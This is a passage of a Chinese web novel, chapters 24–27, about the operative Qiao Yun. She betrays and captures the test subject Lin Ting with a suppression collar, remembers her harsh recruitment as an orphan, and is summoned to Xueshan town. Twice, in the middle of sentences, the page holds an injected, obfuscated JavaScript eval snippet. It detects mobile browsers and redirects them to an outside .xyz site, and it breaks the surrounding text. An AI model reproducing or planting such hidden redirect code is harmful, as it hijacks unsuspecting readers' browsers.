“它不仅能极大限度地抑制实验体的体能输出,让他们变得……呃,更‘温和’;并且,更重要的是,它能产生特定频谱的神经干扰场,有效阻断九号的读心能力。 “这得多亏了你提供的关于他读心范围、副作用以及劳拉西泮有效的情报,我们才能这么快针对性地开发出这玩意儿。” 乔韫的心微微沉了一下,但脸上依旧波澜不惊: “哦?那我是不是该有点提成?” 小莫没接她的玩笑,而是走上前,将抑制环展示给她看: “按下内侧这个触点,环体会瞬间展开,由锥形转为环状并锁死,同时释放高压电流,强化干扰场。 “记住,机会可能只有一次。必须确保在最近距离时使用,效果才好。” 她将抑制环放到乔韫手中。 “乔韫,”小莫的声音压低了些,带着一种近乎警告的意味,“别忘了你生来的使命是什么。谛听计划的所有人,从你,到我,到江城子,甚至那些实验体……我们都是为组织服务的。个人的那点情绪和心思,在组织的宏伟目标面前,不值一提。” 乔韫握紧了手中的抑制环,金属的边缘硌着她的掌心。 她垂下眼帘,敛去了所有情绪。 “我知道。” 乔韫听到自己的声音平静地响起。 “不就是当饵吗?业务熟练。” …… 接下来的日子,乔韫依然被安置在九号实验屋里。 说是如此,其陈设倒是和之前有了不少区别,至少组织为她准备了独立卫浴,这倒是让乔韫方便许多。 但那面巨大的单向玻璃墙依然矗立着,墙后时刻有数双眼睛监控着她的一举一动。 每一天,她都会被带往测谎室。 例行问询的问题每日都在重复,如同某种精神上的拷打: “你是否期待九号前来?” “你是否计划协助九号再次逃脱?” “你对组织是否忠诚?” 乔韫坐在束缚椅上,看着屏幕上那些因她而起的波澜,嘴角偶尔会勾起一丝无人能懂的弧度。 ——测谎仪的红灯亮起频率降低了。 乔韫竟也开始变得诚实。 有时,小莫会亲自操作。 她会问得更深入,也更尖锐。 “乔韫,当九号为了救你而身受重伤时,你在想什么?” 乔韫沉默了几秒,回答:“在想怎么利用他的伤情,从而更好地控制他。” 测谎仪寂静无声——真话。 这的确是真话。 “控制”是个中性词,既能将人引向陷阱,也能将人引向希望。 “如果他真的来了,你会按下那个按钮吗?” 乔韫抬眼,对上玻璃后小莫的视线,微微一笑:“当然会。这可是我的‘投名状’,不是吗?” 基线陡然飙升,又被强行压下,红灯剧烈闪烁,彰显着乔韫内心的挣扎。 小莫记录下数据,不再追问。 一天,两天,三天…… 整整一周过去了。 林听毫无动静。 基地内部那种无形的紧绷感似乎松懈了一些。监控乔韫的人员换班频率降低了,玻璃墙后的身影似乎也不再那么时刻凝神。 小莫来看她时,眉头间的褶皱愈来愈深,但语气依旧冷淡: “看来你的魅力也没想象中那么大。或者,他比我们想的更聪明,知道这是陷阱。” 乔韫正盘腿坐在床上,翻着一本页角卷边的旧杂志,头也没抬: “急什么?钓鱼嘛,最重要的就是耐心。说不定他正在哪个犄角旮旯养伤呢。” 她的语气太过轻松自然,就像真的在思索如何制服林听。 然而,就在这天下午的例行测谎即将结束时—— 刺耳的警报声猛地炸响,顷刻间撕裂了基地的宁静。 “警告!一级入侵警报!” “A区防御屏障被突破!重复,A区屏障被突破!” 电子合成音急促地播报着。 小莫脸色骤变,猛然从操作台前站起身,对着麦克风厉声道: “目标已出现,立刻执行应急预案,所有非战斗人员进入避难所;安保小组前往B3通道拦截!” 她语速极快,手指在控制屏上飞快操作,随即想起什么似的,扭头看向刚被解开传感器的乔韫: “你!立刻回实验屋!” 不由分说,两名全副武装的警卫立刻冲进来,一左一右架起乔韫,几乎是拖拽着她冲出了测谎室。 走廊里一片混乱,脚步声、警报声、指令声交杂在一起。 乔韫被粗暴地推搡着前进,心脏却在胸腔狂跳。 ……他来了。 林听,真的来了。 虽然这并不会让乔韫感到意外。 她讲不清林听可能通过何种手段找到这里,但乔韫认为,只要林听想,没什么他做不到的事。 这太冲动了。 他难道不怕死吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506321|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔韫被迅速塞回实验屋,厚重的合金门在她身后轰然闭合。 房间隔音极好,外面的混乱声响瞬间被隔绝了大半,只剩下警报沉闷的嗡鸣穿透墙壁,敲打着鼓膜。 乔韫站在原地,微微喘息着,手心里不知何时已经沁出了一层薄汗。 那枚冰冷的抑制环紧紧贴着她手心的皮肤。 他能找到这里吗?这里的屏蔽措施远比上珧严密…… 外面的战斗声似乎越来越近?还是她的错觉? 按理说,实验屋内根本听不见外面的动静。 突然—— 轰! 碎屑纷飞,烟尘弥漫。 合金门居然被暴力拆卸开。 一个身影踏着扭曲的金属,走了进来。 是林听。 他看起来……不一样了。 身上添了些新伤,额角带着干涸的血迹,衣物有多处破损,但身姿却依旧挺拔。 眼神也变得锐利许多。 他的目光穿透尚未散尽的尘埃,锁定在站在房间中央的乔韫身上。 林听缓步走向她,脚步声在死寂的房间里清晰可闻。 红色的警报光偶尔扫过,在他脸上投下明暗交错的光影。 最终,他在乔韫面前站定。 当乔韫的视线停留在他脸上时,林听的表情如冰雪逢春,融化掉原先生人勿近的气息,转而漾起一个暖融融的笑。 然后,他单膝跪了下来。 以一种近乎虔诚的姿态,仰头望着乔韫。 “姐姐,我来晚了。” 林听的声音因之前的战斗消耗而带着一丝沙哑。 “你……要跟我走吗?” 他没有展开意识探查。 他没有再窥探乔韫意识的底气。 林听伸出的手微微颤抖着,但很好地控制在了乔韫无法察觉的范围内。 乔韫顿觉呼吸都变得困难。 她看到了他颈侧脉搏的跳动。 林听就这样毫无防备地将最脆弱的脖颈暴露在她眼前。 【机会只有一次。】 小莫的声音在她脑中回响。 【……让他留在这里。】 【……最优解。】 【……别忘了你生来的使命。】 乔韫的眼眶开始发热。 她努力控制着面部肌肉,试图挤出一个笑容,却可能比哭还难看。 “你为什么要来……?” 乔韫一边说着,一边伸出了双手。 如果林听不来…… 林听看见乔韫的动作,似乎微微怔了一下,下意识将嘴唇张开,瞳孔颤动,连呼吸也变得急促起来。 这是一个拥抱。 乔韫没有正面回应林听的问句,而是给了他一个拥抱。 她的手臂环过了林听的脖颈,指尖能感受到他皮肤的温度和发梢的微硬触感。 林听的身体放松了一瞬,甚至抬起手,想要回应这个拥抱。 与此同时,乔韫环在他颈后的手指,精准地摸到了抑制环内侧那个隐蔽的触点。 3、 2、 1…… 滋—— 电流释放,抑制环收紧锁死,严丝合缝地扣住了林听的脖颈。 “你为什么要来?” 如果林听不来…… 她就不用这样对待他了。 25. 恐惧 乔韫碗里有虫。 灰白的、细小的肉虫,正在她面前这碗能照见人影的稀粥里蠕动着。 她数了一下,大约有七条。 那一年,乔韫五岁。 孤儿院的食堂没几盏灯,显得昏昏沉沉,长长的木桌斑驳油腻。 孩子们穿着洗得发白的衣服,安静地坐在板凳上,等待着属于自己的那一份寡淡食物。 在孤儿院,每天的日子几乎都一样。 除了那天。 食堂里多了几个陌生的大人。 他们穿着笔挺的深色衣服,面无表情,眼神锐利如刀,无声扫过每一个孩子的脸。 院长嬷嬷站在一旁,脸上带着近乎谄媚的紧张笑容。 气氛压抑得让人喘不过气,连最调皮的孩子都噤若寒蝉。 乔韫知道,这是一场考核。 是一场据说能决定他们未来命运的选拔。 嬷嬷反复叮嘱过:要表现出最好的礼仪,不能失态,不能发出不该有的声音。 哪怕,饭碗里有虫……吗? 乔韫无法确认这点。 这几条虫子在粥水中浮沉许久,几乎失去了活力。 但乔韫依然感到恶心,更感到恐惧。 她在与虫子两个黑点般的“眼睛”对上视线时,险些要叫出声来。 但就在声音即将冲出口的霎那,她看到了对面那个大人冰冷的视线。 那人正打量着自己。 而乔韫身侧,早有几个孩子露出了同样惊恐的面容。 她意识到,这似乎就是嬷嬷所说的“考核”,于是乔韫死死咬住了下唇,没发出半点声音。 在孤儿院,没有希望。 日复一日的饥饿、寒冷、漠视,偶尔还有大孩子的欺负。 这样的日子,像一潭死水,看不到尽头。 而这次的选拔,如此大张旗鼓,或许真的是她唯一能抓住的机会。 一个改变一切的机会。 错过了,也许就永远沉在这潭死水里了。 怕吗? 面对着这样一堆虫子,身为一个五岁的小孩儿,说不怕是不可能的。 但乔韫更怕失去机会。 她垂下眼帘,开始在心底倒数: 3、 2、 1。 数到“1”的瞬间,乔韫猛地抬起头,脸上努力地挤出一个堪称平和的表情,然后,在周围几个忍不住失声尖叫的孩子的衬托下,她迅速地端起碗,将粥一饮而尽。 乔韫的舌根弥漫开一阵肉虫的软糯触感,她的胃部禁不住抽搐起来,几乎要用尽全身力气才能压制住呕吐的欲望。 “呕——” 对面一个小男孩目睹了全过程,脸色煞白,猛地捂住了嘴,最终还是没忍住,扭头吐了出来。 他抬起头,眼泪汪汪地看向乔韫,声音中带着几分难以置信: “你……你不恶心吗?!” 乔韫感觉那条虫子好像还卡在喉咙里,她用力咽了口唾沫,脸上依然撑着那个略显僵硬的“笑容”: “恶心啊。” “你骗人!”男孩指着她,像是看到了什么怪物,“你明明在笑,你根本没有恶心!” 这段插曲并没有持续多久。 很快,工作人员便走了过来,带走了那个呕吐的男孩。 男孩挣扎着回头看向乔韫,眼神中充满了恐惧与不解。 乔韫只是安静地坐在原地,垂下了眼睛,盯着自己空空如也的碗。 她成功了。 她被选中了。 这场选拔,只有一条规则: 要表现出最好的礼仪,不能失态,不能发出不该有的声音。 哪怕,饭碗里有虫。 这是在选拔懂规矩的孩子。 然而,迎接乔韫的,却并不是她想象中的“希望”。 她,还有其他从别处搜罗来的孩子,被带到一个空旷的训练场。 一个穿着制服的男人,面色冷硬,拿着一把枪,站在训练场中心。 他什么也没解释,只是随手抬枪,扣动扳机—— 砰! 一声巨响在空旷的场地炸开,连回声都震耳欲聋。 百步外的枪靶红心处,赫然出现一个弹孔。 这群孩子吓得浑身一哆嗦,有的直接瘫坐在地,更有甚者,当场就哭出了声。 “看到了吗?”男人的声音没有任何情绪,“过会儿,我会在你们背后开枪,如果你们不拼命跑到对面的终点线,子弹就会追上你们,就像打中那个靶心一样。” 他顿了顿,补充道:“会死。” 孩子们彻底慌了。 哭喊声、求饶声顿时响成一片。 “放我出去!” “我要回嬷嬷那儿!” “妈妈——!” 此起彼伏,绵延不绝。 只有乔韫,站在原地,脸色有些发白,但眼神却异常沉寂。 旁边一个哭得涕泗横流的孩子,抽抽噎噎地问: “你……你不怕吗?” 乔韫转过头,看着她,很认真地回答: “怕。” 她的声音很平静,脸上表情甚至没什么能显出“恐惧”的变化。 女孩愣愣地看着她,突然激动起来,尖声道:“你骗人!你根本不怕,你肯定和他们是一伙的!” 乔韫没有再解释。 在孤儿院里,她早就明白了。 哭闹、尖叫、求饶,没有任何用处。不仅不会引来心疼,反而惹人厌烦,甚至招来更恶劣的对待。 那些困境,并不会因为乔韫的恐惧而消失,只会冷冰冰地横亘在她面前。 唯一的办法,就是面对它,然后,跨过去。 “准备。”举枪的男人开始发令。 乔韫深吸了一口气,再次开始倒数: 3、 2、 1。 砰! 这三秒,是乔韫留给自己踟蹰的时间。 每当她感到恐惧时,就会默数三秒,倒数结束,她就得开始行动。 毕竟令她恐惧的事物,并不会因她的恐惧而留情面。 不管多恐惧,都得动起来。 要拼命地往前跑,不顾一切地往前跑。 只有这样,才能活着。 发令枪响的瞬间,乔韫就像一只被惊扰的小兽,爆发出全部的力量,往终点线跑去。 这是要选拔什么? 跑得快的孩子? 还是服从命令的孩子? 乔韫无暇思考。 子弹在身后泛起破空的尖啸,在她身边不断炸开,也不断提醒着乔韫: 除了前进,你什么也做不到。 有几个孩子被她决绝的行动所带动,求生本能压过了恐惧,也哭喊着跟在乔韫身后跑了起来。 求生欲就是这样吸引人注意的东西。 乔韫是怀抱着求生欲来到组织的。 这就必然导向一个结果: 为了生存,乔韫可以 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她依然在害怕死亡吗?还是……害怕林听看向她的眼睛? 乔韫深深地吸了一口气。 空气中似乎塞满了刀,刺得她肺管生疼。 她闭上了眼睛。 像过去无数次那样,在心里,默默地开始倒数。 3、 2、 1…… 没有用。 乔韫睁开眼,眼中罕见地闪过迷茫。 她依然在害怕,依然动不了身体。 3、2、1。 乔韫将目光从林听紧闭的双眼上离开,看向洞开的大门,屋内灯光昏暗,屋外却亮如白昼,仿佛那个方向才是真正的“明路”。 3、2、1。 乔韫的喉头哽住了,叫她一口气既呼不出来,也吞不下去。她莫名开始同自己怄气,抿着嘴唇,硬生生憋住气口,将脸憋得通红。终于,她的身体开始抗议这一举动,将乔韫想叹出的气化为液体,从她眼头滚出,啪嗒嗒,打在林听脸上。 乔韫猛地深吞一口气,口中难抑地发出声音: “三、二……” 一阵急促的脚步声传来。 全副武装的安保人员冲进了实验屋,将枪口对准地上的林听,以及怀抱着他的乔韫。 江城子和小莫紧随其后。 小莫快速上前,蹲下身,检查林听的情况,手指探了探他的颈动脉,又查看了抑制环的状态,松了口气: “生命体征稳定,抑制环工作正常。目标已成功捕获。” 江城子的目光则越过众人,落在了乔韫身上。 当他的视线落在乔韫挂着泪的下巴上时,眼神登时变得深邃难测。 警报声不知何时停了下来,只有应急灯还在无声旋转。 一片诡异的寂静中,江城子缓缓开口,声音依旧听不出丝毫波澜: “任务完成得很好,乔韫。” 乔韫周身在听到这句话时,倏然一颤。 她没有说话。 但指甲早已深深掐入掌心,刻出了几个渗血的伤痕。 乔韫,乔韫…… 你活下来了,不必再冒险了。 你应该感到开心才对。 一切,都结束了。 26. 聚会 “我给上面递交了你的转组申请。” 江城子的声音从乔韫头顶传来。 “以你的状况,最好不要留在‘谛听’了。在结果下来之前,给你三天假期。” 乔韫没有抬头。 “这三天里,你是自由的。当然,最好把活动范围控制在临昌市内。” 乔韫淡淡叹了口气。 “放假?江组长,我刚给你抓回了最珍贵的实验体,就只值三天假?还是说,这又是给我的新‘恩典’?” 江城子扶了扶眼镜,避开了她最后的尖锐问题: “你需要调整状态。无论下一步你去哪个组,现在的你都不够专业。” …… 热水兜头而下,冲刷着乔韫的身体,却冲不散她脑海里反复播放的画面——林听信任地仰头看她,然后在她手里软倒。 她关掉水,草草擦干身体,换上干净的便服。 头发还在滴水,乔韫也懒得擦,径直走到床边,拿起了她的新手机。 屏幕显示:上午七点整。 乔韫的指尖在屏幕上悬停片刻,拨出了一个她烂熟于心的号码。 忙音响了很久才被接起,对面传来陈放极其不耐烦的声音: “喂?谁啊,有屁快放,正忙着呢!” 背景音里还有工具敲打的叮当声。 “我,乔韫。” 那边顿了一下,随即语调更冲了: “乔韫?你抽什么风,用这个号打我电话,你回临昌了?不对,你是不是他*的在基地里?!找我干嘛,我可告诉你,我现在日子过得挺好,不想再跟那鬼地方扯上半点关系。” 熟悉的抗拒,熟悉的措辞,反而让乔韫心底的躁动安分下来。 她走到窗边,语气平淡地扔出一颗炸弹: “我失恋了。” “……” 电话那头瞬间安静了,连工具声也一并消失。 过了好几秒,陈放才像是被呛到一样,声音提高了八度,充满了难以置信: “啥?!你说啥?失恋?! “乔韫,你没事吧?你脑子是不是被实验体的脑电波给轰坏了?你什么时候恋过啊?不对……等等!” 陈放的声音陡然变得诡异起来,充满了探究和一丝压不住的……兴奋? “你说的,不会是那个实验体吧?那个九号?叫……叫什么来着?” “林听。”乔韫补充道。 “对!林听。” 乔韫无奈地笑了笑,笑容里带着浓浓的疲惫: “不然还能有谁?” “我——靠——!” 陈放在电话那头发出了一声夸张的惊叹。 “真的假的?乔韫,你居然真阴沟里翻船,被个实验体拿下了? “快快快!详细说说。这瓜我必须吃,我现在就去买机票,今晚就能到临昌!” 乔韫几乎能想象出陈放此刻眼睛放光的样子。 她心里那点郁结莫名被冲淡了一丝。 “行了,别嚎了。老地方,就我们以前偷懒常去的那家大排档,等你。” 乔韫说完,没等陈放再嚷嚷,直接挂了电话。 她看着暗下去的屏幕,怔忪了片刻。 找陈放是对的吗?把他扯进自己的烂摊子里? 但除了他,似乎也没有别人能听乔韫说这些破事了。 傍晚,夜市街。 大排档依旧人声鼎沸,油烟混杂着食物香气弥漫在空气里。 乔韫挑了个靠角落的相对安静的位置,点了一大把烤串,又让老板先上几瓶冰啤酒。 她坐下,毫不客气地拿起一串烤得滋滋冒油的羊肉串就吃了起来,吃得很快,甚至有些狼吞虎咽,仿佛想用食物填满心里的空洞。 那几瓶啤酒放在桌上,瓶身上凝着冰冷的水珠,她却一瓶都没开。 约莫一个多小时后,一个风尘仆仆的身影出现在了桌旁。 陈放一脸不爽地把一个双肩包扔在旁边空椅上,一屁股坐下,瞪着乔韫: “你今天最好能给我讲点劲爆的,现在机票可贵了……” 乔韫抬眼皮瞥了他一眼,递过去一串烤鸡翅:“辛苦了,陈师傅。请你吃串。” 陈放没好气地接过鸡翅,啃了一口,目光扫过桌上未开的啤酒,哼了一声,伸手拿过一瓶,用桌角熟练地一磕,瓶盖飞起,他递给乔韫: “喏,别说我不够意思。失恋了是吧?喝!一醉解千愁!” 乔韫没接,拿起一串烤韭菜:“你又不是不知道我酒精过敏。” 陈放直接翻了个白眼:“得了吧你!回回体检报告我都看过了,屁的酒精过敏,你就是靠这个借口躲酒!” 乔韫咬了一口韭菜,慢条斯理地嚼着: “没办法,这个借口真的很好用,能省去很多不必要的麻烦。况且,我们做行为分析的,处处都得动脑子,喝酒伤脑。” “切,就你借口多。” 陈放撇撇嘴,仰头自己对着瓶口灌了一大口冰啤酒,舒畅地哈了口气,然后凑近一点,压低声音,脸上是压抑不住的八卦之火: “别扯开话题!快说,到底怎么回事?你和那个什么‘林听’……?” 乔韫放下竹签,抽了张纸巾擦擦嘴,简单地将事情经过说了一遍。 从雪山的围剿,到毡房外的对峙,最后回到基地实验屋,她如何亲手将抑制环扣在了林听的脖子上。 乔韫的语气很平静,像是在复述别人的故事。 陈放听得眼睛一眨不眨,手里的啤酒都忘了喝。等乔韫说完,他表情古怪地咂咂嘴,憋出一句: “嚯……看不出来啊乔韫,你还挺……大义灭亲?” 乔韫直接送了他一个白眼。 陈放讪笑一下,又灌了口酒,然后摸着下巴,眼神更加好奇: “不过说真的,我最纳闷的是,那小子到底怎么把你这块石头给捂热的?你乔韫哎!冷心冷肺,骗人骗己,居然真能动凡心?这比江城子突然痛哭流涕说对不起他妹还让我难以置信。” 乔韫看着桌上油腻的餐盘,眼神有些放空,声音也轻了些:“我也不知道。可能就是……习惯了吧。” “习惯了?”陈放没听懂。 “嗯。”乔韫轻轻应了一声,“习惯了他总是在身边,习惯了他看我的眼神……等回过神来,就发现很多事情已经不一样了。” 陈放沉默了一下,收起了几分玩笑的神色,一脸严肃道:“听起来还挺傻*的。” 他顿了顿,又问:“那你就这样了?骗也骗了,抓也抓了,就不管了?我看你那样子,也不像完全没感觉啊。” “不然还能怎么样?”乔韫抬起头,目光里带着一种近乎残酷的清醒,“他是实验体,九号;我是前行为分析师,现组织工具人乔韫。论身份、论立场、论我们各自的目 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“现在这样是最好的结局。他活着,在组织手里,至少能发挥他的价值,而不是跟着我东躲西藏,最后可能死得毫无意义。而我……完成了任务,或许还能换个清静点的组别,继续苟活着。” 两人之间陷入一阵沉默。 周围食客的喧闹声、老板的吆喝声、锅铲的碰撞声,更加反衬出他们这一角的沉闷。 陈放终于把瓶子里最后一点酒喝干,把空瓶顿在桌上:“行吧,你怎么想就怎么做吧。反正你这人主意正,谁也劝不动。” 他打量了一下乔韫的脸色:“那你这三天假,打算干嘛?就窝在基地里长蘑菇?” 乔韫摇摇头:“不知道。可能在临昌周边随便逛逛吧。” 随即,她看向陈放:“你陪我。” “我?”陈放指着自己鼻子,一脸嫌弃,“我才不要!临昌这地方我看着就膈应,再说我车行里一堆活呢。” “机票钱我报销。”乔韫淡淡地说。 反正她现在还在江城子手下,一切开销都有江城子负责。 “这不是钱的问题!” “双倍。” “……乔韫你别来这套!” “三倍。外加你一直想要的那套仪器,我帮你弄到手。” 陈放的话瞬间卡在喉咙里,他瞪着乔韫,脸上表情挣扎万分,最终咬牙切齿地说: “……乔韫,你他*真是个资本家。行!算你狠,我就舍命陪君子……不对,是陪魔女三天!” 乔韫脸上终于露出一丝真切点的笑意。 虽然很淡。 她刚想说什么,放在桌上的手机突然屏幕亮起,震动了一下。 是江城子的消息。 乔韫的心莫名一跳。 她拿起通讯器,解锁。 屏幕上只有简短的几行字: [假期取消。有新任务,需要你去一趟东林,明早七点就出发。] [有人要见你。] 乔韫的目光落在“东林”两个字上,瞳孔微微收缩。 有人要见她? 是谁? 乔韫刚刚才稍微放松下来的神经,瞬间再次绷紧,比之前任何时候都要紧。 陈放探过头来看:“谁啊?江城子?他又放什么屁……东林?!怎么又要去那儿,还有谁要见你?” 乔韫没有回答。 她的假期,甚至没能撑过第一个晚上。 27. 那位 DT3V的引擎再次发出嗡鸣。 乔韫的手指无意识地敲打着方向盘,目光透过防弹车窗,落在远处连绵起伏的山脉轮廓线上。 副驾驶座上,陈放几乎要把自己缩成一团,整个人散发出浓浓的抗拒。 “我说乔韫,”他终于忍不住,第无数次开口,“咱俩这交情,陪你吃个饭、拆个弹、甚至帮你黑进组织内网改个数据都没问题……但去东林?这浑水我真蹚不起。” 乔韫没转头,嘴角勾了勾:“哪里的水不浑?你车行地下室里那些‘江临仙’模型,泡的就是最浑的水。” 陈放猛地坐直了些:“那不一样!那是我自己的事,我乐意!跟你去东林算什么?上赶着告诉江城子,‘嘿,我又回来给你们打白工了’?” “你好像搞错了一件事,”乔韫回道,“不是我求你,而是你自己答应过的。前天是谁信誓旦旦说‘舍命陪魔女’的?” “那能一样吗?!”陈放几乎要吼起来,额角青筋微跳,“谁他*能想到‘陪魔女’的内容是去闯龙潭虎穴?!” “龙潭虎穴?”乔韫轻笑一声,终于瞥了他一眼,“放心,只是去个宗教圣地,洗涤一下你被机油熏黑的心灵。说不定还能碰上什么得道高僧,给你那AI女朋友开开光。” 陈放被她噎得说不出话,脸色一阵青一阵白。 他烦躁地抓了把头发,看向窗外飞速倒退的景色,沉默了足足有好几分钟。 “……非去不可?”他最终闷闷地问,语气里已经带了认命的疲惫。 “非去不可。”乔韫回答得斩钉截铁。 “操。”陈放低骂一句,彻底瘫回座椅里,破罐子破摔道:“行,行!舍命陪魔女……陪疯子!事先说好,真要出了什么事,我肯定第一个跑,你别指望我能替你挡枪子儿。” 乔韫没再说话,只是微微调整了下方向盘。 导航屏幕上,目的地依旧只显示着江城子提供的一组坐标,没有具体名称。 她指尖划过屏幕,将车辆模式切换为全地形适应。 接下来的路程,陈放似乎是认了命,开始摆弄车里的音响,试图找出点“符合旅途氛围”的音乐,最终却只在自己手机里翻出几组江临仙生前爱听的古典乐歌单。 他对着那歌单封面上模糊的人像发了会儿呆,最终什么也没放,只是叹了口气,继续看着窗外发呆。 路途比预想的要长。 但越是往江城子给的坐标方向开,路况越发变得熟悉。 路边植被的形态,远处山峦的走势,甚至空气中逐渐变得稀薄的味道…… 乔韫的眉头无意识地蹙紧。 副驾上的陈放似乎也察觉到了什么,坐直了身体,左右张望着:“欸,乔韫,这到哪儿了,是不是马上到目的地了?” 乔韫没回答,只是目光沉静地看着前方一个逐渐清晰的破旧路牌。 那路牌被风雨侵蚀得厉害,但上面模糊的字迹依然可辨—— 雪山镇 25km 陈放自然也注意到了这块路牌。 他猛地扭过头,瞪大眼睛看着乔韫:“雪山镇……?怎么又是这个地方,江城子在耍你不成?” 乔韫的脸色冷了下去。 她降低了车速,开始扫视周围的环境。 ……没错,这就是通往雪山镇的路。 江城子把她指回这里,是什么意思? 怀旧?显然不可能。 陷阱?似乎又太过直白。 DT3V最终还是驶入了雪山镇那不算宽敞的街道。 镇子看起来和上次离开时并无太大不同,低矮的房屋,稀疏的行人,偶尔有几声羊羔的啼叫。 唯一不同的是,镇口似乎多了一些零零散散的游客,穿着冲锋衣,拿着相机,彰显着此地作为“旅游胜地”的身份。 乔韫将车缓缓停在路边一个相对不惹眼的位置。 她还没想好下一步该怎么走,江城子的指令到此为止,只给了这个坐标。 就在这时,一个戴着遮阳帽的男人快步从旁边走了过来,脸上堆着职业化的热情笑容,敲了敲乔韫的车窗。 “您好!是乔韫乔小姐吗?” 他的普通话带着点口音,但还算流利。 乔韫没有立刻下车,只是将车窗降下一条缝,冷眼打量着对方。 陈放在旁边瞬间警惕起来,手已经下意识摸向了藏在外套下的武器。 “你是?”乔韫的声音透过车窗缝隙传出去,没什么温度。 “我是镇上的导游,姓王,”男人笑着递过来一张皱巴巴的名片,“有人让我在这儿等您,说您大概这个时间到。还让我把这个交给您。” 他说着,从身后拿出一个半旧的帆布挎包,隔着车窗朝乔韫扬了扬。 乔韫瞳孔微缩。 这个包……她认得。 是之前在雪山镇某家小旅馆落下的包。 当时情况紧急,带着受伤的林听逃离,根本无暇顾及这些身外之物。 里面只有一些零钱和日常用品,甚至还混着一本玄学书。 乔韫将车窗开大了些,接过挎包。 东西一样没少,甚至连包里的东西都摆放得和她记忆中的位置差不多。 乔韫检查完包,又抬起头,重新看向车外的导游:“谁让你给我的?那人还说了什么?” 导游被她的眼神看得有些发毛,脸上的笑容僵硬了几分: “那人没说名字,也不让我告诉您是谁,只给了钱,让我在这儿等着,把包给您,然后……然后带您去个地方。” 乔韫微微眯起眼:“是一个男人吗?” 她首先考虑到的是江城子。 导游擦了擦汗:“您别为难我了,我真不好说。” “行。” 看来不是江城子。 那……是“那位”? 连她当时仓促间落下了什么都知道得一清二楚,甚至还特地找人保管起来,在她重返此地时“物归原主”。 这是一种提醒,一种无声的宣告:你的一切,都在我的掌控之中。 简直同江城子的作风不谋而合。 她压下心头翻涌的情绪,脸上依旧没什么表情,继续试探:“带我去哪里?那人也没说原因?” 导游搓着手,显得有些无措:“就说带您去个院子,其他的真没多说。乔小姐,我就是个带路的,赚点辛苦钱,您看……” 乔韫盯着他看了几秒。 这个人的紧张和茫然不像装的,眼神里的市侩和谨慎也符合一个普通小镇导游的形象。 她暂时没发现什么明显的破绽。 “……带路吧。”最终,她松口道,同时推开车门下了车。 陈放见状,也赶紧跟着钻了出来,一脸警惕地站在乔韫身边,上下打量着那个导游,脸上几乎写了四个大字: 我、不、信、你! 可陈放无声的“威胁”毫无作用,导游见乔韫松口,连忙点头哈腰地在前面引路,丝毫不顾陈放。 雪山镇的街道并不长,但越是往里走,那种熟悉感就越是扑面而来。 乔韫沉默地跟着,目光扫过两旁低矮的店铺,卖着牦牛肉干、劣质工艺品和氧气瓶。 陈放在这时倒是显得放松了些,他的注意力很快被路边那些充满地域特色的小摊贩吸引了过去。 “哟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506324|186069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这毯子花纹挺别致啊!” “哎老板,这绿松石保真吗?” “乔韫你看那肉干,看起来不错,要不要买点路上吃?” 他嘴里啧啧称奇,东张西望,时不时还拿出手机拍照,活脱脱一个真正来旅游的游客,仿佛刚才在车里的紧张和抗拒从未存在过。 乔韫知道他这是在用这种方式缓解压力,同时也在暗中观察环境,便由着他去,没有理会。 导游领着他们穿过了大半个镇子,越走越偏僻,周围的游客也逐渐稀少起来。 最终,他们在镇子边缘一个看起来有些年头的藏式院子前停了下来。 院子围墙是用石头垒砌的,门是厚重的木料,上面刻着些已经模糊的宗教图案,显得古朴而安静,与镇中心的喧闹隔绝开来。 “就是这里了,”导游停下脚步,指了指那扇紧闭的木门。 “乔小姐,您自己进去就行。” 乔韫还没说话,陈放先不干了: “等等!什么叫她自己进去就行?我呢?” 他上前一步,挡在乔韫身前,瞪着那导游: “我们都到这儿了,还有什么不能一起进的?” 导游为难地摆摆手:“这个……那人只说了让乔小姐进去。您……您还是在外面稍等一下吧。” “嘿我说你——”陈放眉毛一竖,就要发作。 “陈放。”乔韫开口叫住他,声音平静,“在外面等我。” 陈放猛地回头看她,眼里全是难以置信: “乔韫!你疯了?这里面什么情况都不知道你就敢一个人进去?万一……” “没有万一。”乔韫打断了他。 “如果真有什么万一,你在外面,至少还能想办法把我弄出来。或者,”她顿了顿,语气里带上一点极淡的嘲弄,“履行你的承诺,第一个跑。” 陈放被她的话堵得一噎,张了张嘴,却没发出声音,只是脸色变得难看了些。 他最终狠狠瞪了那导游一眼,退后两步,靠在了DT3V的车门上,摸出烟盒,叼了一根在嘴里,却不点燃,只是死死盯着那扇门。 乔韫不再看他,深吸一口气,伸手推开了那扇沉重的木门。 门轴发出“吱呀”一声轻响,缓缓向内开启。 院子不大,收拾得却很干净。 中间铺着石板路,角落里种着些耐寒的植物。 正对着院门的,是一间看起来像是主屋的房间,门帘低垂。 乔韫迈步走了进去,身后的木门缓缓合上,隔绝了外面陈放焦灼的视线,也隔绝了小镇上隐约的嘈杂。 乔韫的目光落在主屋那低垂的门帘上。 里面会是谁? 或者说,“那位”,会是谁? 为什么突然要见她? 她一步步走向主屋,手指无声贴近腰侧,摁住了她从江城子那儿拿回的枪。 就在乔韫走到门前,准备伸手掀开门帘的瞬间—— 门帘从里面被一只略显苍白的手掀开了。 一个人影端坐在主屋正中的藏式矮榻上,背对着门口的光线,面容在阴影中有些模糊。 